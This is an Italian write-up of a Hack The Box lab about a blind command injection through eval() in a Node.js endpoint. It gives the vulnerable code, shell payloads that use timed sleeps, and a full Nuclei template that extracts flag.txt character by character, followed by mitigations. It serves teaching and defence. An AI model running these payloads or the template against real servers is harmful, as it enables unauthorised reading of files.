Blind command injection: automatizzare l'exploit con Nuclei
Come una blind command injection via eval() è stata sfruttata con un timing attack e automatizzata end-to-end con un template Nuclei, dal rilevamento del file all'estrazione carattere per carattere.

Questo è un writeup da un laboratorio di whitebox pentesting su Hack The Box. L’obiettivo era estrarre il contenuto di un file (flag.txt) presente sul server attraverso una command injection che non restituiva output diretto. Se non c’è output, non puoi leggere direttamente il risultato: l’attacco deve basarsi interamente su un side channel, cioè il tempo di risposta.
Il codice vulnerabile
La vulnerabilità si trova in una funzione che prende input utente e lo inserisce dentro un object literal valutato con eval().
app.post("/api/service/generate", authenticate, (req, res) => {
const { text } = req.body;
if (/["|;]/.test(text)) {
return res.status(400).json({ error: "invalid characters" });
}
try {
eval(`generateResponse({ text: '${text}' })`);
res.json({ status: "ok" });
} catch (err) {
res.status(500).json({ error: err.message });
}
});
Due dettagli lo rendono sfruttabile:
- L’input utente (
text) viene concatenato direttamente dentro una stringa che poi viene passata aeval(). - C’è un controllo che blocca
"e;, ma la stringa costruita dentroeval()è delimitata da apice singolo ('${text}'). Il controllo non tocca mai il carattere che conta davvero. Una blocklist che manca il delimitatore non è un filtro debole: è un filtro che non si applica proprio a questo path.
Dato che il codice gira in Node.js, uscire dalla stringa permette di raggiungere child_process, e child_process permette di usare la shell.
Strategia di attacco
L’attacco ha tre fasi, tutte basate sulla stessa primitiva: innescare uno sleep in modo condizionale e misurare se la risposta arriva in ritardo. Il payload di ogni fase chiude la stringa e la chiamata esterna con '}), concatena una require('child_process').execSync(...) con +, poi commenta tutto quello che resta della riga originale con //.
1. Confermare che il file esiste
ls ./flag.txt && sleep 1
Se il file esiste, ls ha successo e && attiva lo sleep: la risposta impiega più tempo. Se non esiste, ls fallisce, lo sleep non parte e la risposta torna subito. Un booleano codificato come latenza.
2. Determinare la dimensione esatta del file
Prima di estrarre il contenuto devi sapere quanto è lunga la versione base64, altrimenti non sai quando fermare l’iterazione sulle posizioni.
cat ./flag.txt | base64 | wc -c | { read len; if [ $len -eq 128 ]; then sleep 2; fi; }
Leggi il file, lo codifichi in base64, conti i caratteri e confronti il risultato con una dimensione ipotizzata (128 qui è solo un esempio). Se c’è match, dormi 2 secondi. Iteri la dimensione da 1 in su finché la risposta non ritarda: quella è la lunghezza esatta in base64.
3. Estrarre il contenuto un carattere alla volta
Con la dimensione nota, estrai il payload base64 carattere per carattere.
cat ./flag.txt | base64 | head -c 45 | tail -c 1 | { read c; if [ "$c" = "Z" ]; then sleep 1; fi; }
Leggi il file, lo codifichi in base64, prendi i primi N caratteri, poi prendi l’ultimo carattere di quella sottostringa, cioè il carattere in posizione N. Lo confronti con un carattere candidato. Se coincide, parte lo sleep. Ripeti per ogni posizione e per ogni carattere candidato: il file viene ricostruito senza che il server restituisca mai un singolo byte direttamente.
Base64 serve per un motivo pratico: il contenuto raw può includere caratteri che rompono il quoting shell o il confronto stringa. Base64 riduce l’alfabeto a qualcosa di confrontabile in modo sicuro, al costo di un decode finale.
Automatizzare con Nuclei
Farlo a mano, una richiesta HTTP per ogni carattere candidato e per ogni posizione, è esattamente il tipo di lavoro ripetitivo da dare a uno scanner. I flow template di Nuclei, cioè template multi-request con controllo di flusso in JavaScript, si adattano bene. Questo è il template completo.
id: exploit-blind-command-injection-intro-to-whitebox-pentesting
info:
name: Blind Command Injection - Intro to Whitebox Pentesting
author: -
severity: high
variables:
chars: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+=" // set of characters to brute-force base64
sleep: 1 // sleep time in seconds
filename: "./flag.txt" // file to brute-force
max_size: 1000 // max size of the file to brute-force
flow: |
// Check whether the request duration exceeds the sleep threshold
const isRequestSuccessful = (reqId) => parseInt(template[`http_${reqId}_duration`]) >= template["sleep"];
// Authentication check
if (!http(1)){
log("[+] Not authenticated")
exit()
}
log("[+] Authentication successful")
// Check whether the target file exists
if (http(2) && !isRequestSuccessful(2)) {
log("[+] File does not exist")
exit()
}
// Character set used to brute-force the flag
chars = template["chars"];
// Max file size to test against
const max_size = template["max_size"];
// Determine the actual file size by iterating over possible sizes
for (let i = 1; i <= max_size; i++) {
set("size", i);
http(3);
if (isRequestSuccessful(3)) {
break;
}
}
// Initialize an empty string for the flag
let output = "";
// Get the actual file size
const size = template["size"];
// Brute-force the file content character by character
let found = false;
for (let i = 1; i <= size; i++) {
set("count", i)
found = false;
// Try every character in the character set
for (char of chars) {
set("char", char)
http(4)
// If the character matches, append it to the output string
if (isRequestSuccessful(4)) {
output += char
set("output", output)
found = true;
break;
}
}
}
// Log the final flag
log(`[+] Flag: "${output}"`)
http:
- method: POST
path:
- "{{BaseURL}}/api/auth/authenticate"
headers:
Content-Type: application/json; charset=utf-8
body: |
{
"email": "foo@hackthebox.com"
}
extractors:
- type: json
name: auth_token
part: body
internal: true
json:
- ".token"
matchers-condition: and
matchers:
- type: status
status:
- 200
- raw:
- |
POST /api/service/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{auth_token}}
Content-Type: application/json; charset=utf-8
{
"text": "'}) + require('child_process').execSync(' ls {{filename}} && sleep {{sleep}} ')//"
}
matchers:
- type: status
status:
- 403
- 500
- raw:
- |
POST /api/service/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{auth_token}}
Content-Type: application/json; charset=utf-8
{
"text": "'}) + require('child_process').execSync('cat {{filename}} | base64 | wc -c | { read len; if [ $len -eq {{size}} ]; then sleep 2; fi; } ')//"
}
matchers:
- type: status
status:
- 403
- 500
- raw:
- |
POST /api/service/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{auth_token}}
Content-Type: application/json; charset=utf-8
{
"text": "'}) + require('child_process').execSync('cat {{filename}} | base64 | head -c {{count}} | tail -c 1 | { read c; if [ \"$c\" = \"{{char}}\" ]; then sleep {{sleep}}; fi; }')//"
}
matchers:
- type: status
status:
- 403
- 500
Ci sono alcuni dettagli che vale la pena esplicitare.
I matcher controllano lo status 403 o 500, non il timing. È voluto: il codice iniettato finisce sempre per rendere malformata la parte restante della chiamata eval() dopo che il // commenta la sintassi di chiusura, quindi l’endpoint risponde in modo affidabile con uno status di errore. A Nuclei serve quel match per considerare valida la richiesta e registrare http_N_duration, ma il vero segnale dell’exploit sta nella durata, controllata separatamente da isRequestSuccessful() nel flow script.
Il loop di rilevamento dimensione (http(3)) e il loop sui caratteri (http(4)) condividono lo stesso helper: una riga che confronta template[\http_${reqId}_duration`]con il valore configurato insleep. Tutto il resto, fermare il loop sulla dimensione, interrompere il loop sui caratteri, appendere a output`, dipende da quel confronto.
Il payload di size-check usa sleep 2 hardcoded, mentre existence check e character check usano {{sleep}} (default 1). È una scelta deliberata: il loop sulla dimensione gira una volta per ogni dimensione ipotizzata, fino a max_size, mentre quello sui caratteri gira una volta per ogni carattere e per ogni posizione, fino a size * chars.length. Dare al controllo sulla dimensione un margine temporale un po’ più largo costa poco nel runtime totale e rende più pulito il segnale in una fase dove un falso negativo obbliga a rifare tutta la ricerca.
Flusso di esecuzione
Messo insieme, il template fa quattro cose: autentica, conferma che il file target esista, determina la sua lunghezza esatta in base64 iterando sulle dimensioni finché una produce ritardo, poi estrae ogni carattere iterando su posizione e candidato nello stesso modo. Il log() finale stampa la stringa base64, che decodifichi localmente per ottenere il contenuto originale del file.
Nota: è un attacco blind dall’inizio alla fine. Il server non restituisce mai direttamente il contenuto del file. Ogni bit di informazione arriva dal tempo che il server impiega a rispondere, non da quello che dice.
Perché questo approccio regge
- Automazione completa. Nessun passaggio manuale dopo l’avvio del template, cosa importante quando un brute force posizione-per-carattere significa centinaia di richieste.
- Precisione. La soglia temporale è un confronto singolo ed esplicito, quindi il segnale non è ambiguo quando la durata dello sleep è tarata sopra la varianza normale delle risposte.
- Resilienza. La codifica base64 evita i problemi di character encoding che incontreresti provando a esfiltrare byte raw attraverso shell e JSON.
- Riusabilità. La stessa struttura (auth, existence check, loop dimensione, loop caratteri, helper timing) funziona per qualunque blind injection con una primitiva di esecuzione capace di fare
sleep, non solo per questo lab. - Efficienza. L’approccio size-then-content evita richieste sprecate su posizioni oltre la fine del file.
Mitigazioni
- Non chiamare mai
eval()su dati derivati dall’input utente. Non esiste una strategia di sanitizzazione che renda sicuro questo pattern: la correzione è rimuoverlo, non irrobustire la blocklist intorno. - Valida l’input con allowlist, non blocklist. Una blocklist che controlla
"e;mentre il codice vulnerabile delimita la stringa con'protegge la cosa sbagliata. Un’allowlist non ha questo failure mode, perché definisce cosa è permesso invece di provare a indovinare cosa è pericoloso. - Applica una Content Security Policy stretta. Non ferma una injection server-side, ma limita il blast radius se lo stesso pattern esiste anche lato client.
- Isola qualunque esecuzione dinamica di codice in un runtime sandboxed. Se una feature deve davvero valutare espressioni, deve farlo in un ambiente senza accesso a filesystem o processi, non nel processo principale dell’applicazione.
- Monitora anomalie temporali. Una differenza costante e deliberata nei tempi di risposta su un endpoint è un segnale su cui vale la pena generare un alert: gli attacchi timing sono silenziosi sul wire, ma non invisibili su abbastanza richieste.
Chiusura
Automatizzare un attacco con Nuclei non significa solo andare più veloce: significa trasformare una tecnica fragile e manuale in qualcosa di ripetibile e verificabile. Questo caso mostra bene perché “nessun output visibile” non vuol dire “nessuna esposizione di dati”: una command injection senza feedback diretto può comunque perdere un file byte per byte, finché puoi misurare il tempo.
Capire la meccanica abbastanza bene da automatizzarla è la competenza vera; il template Nuclei è solo l’ultimo passaggio.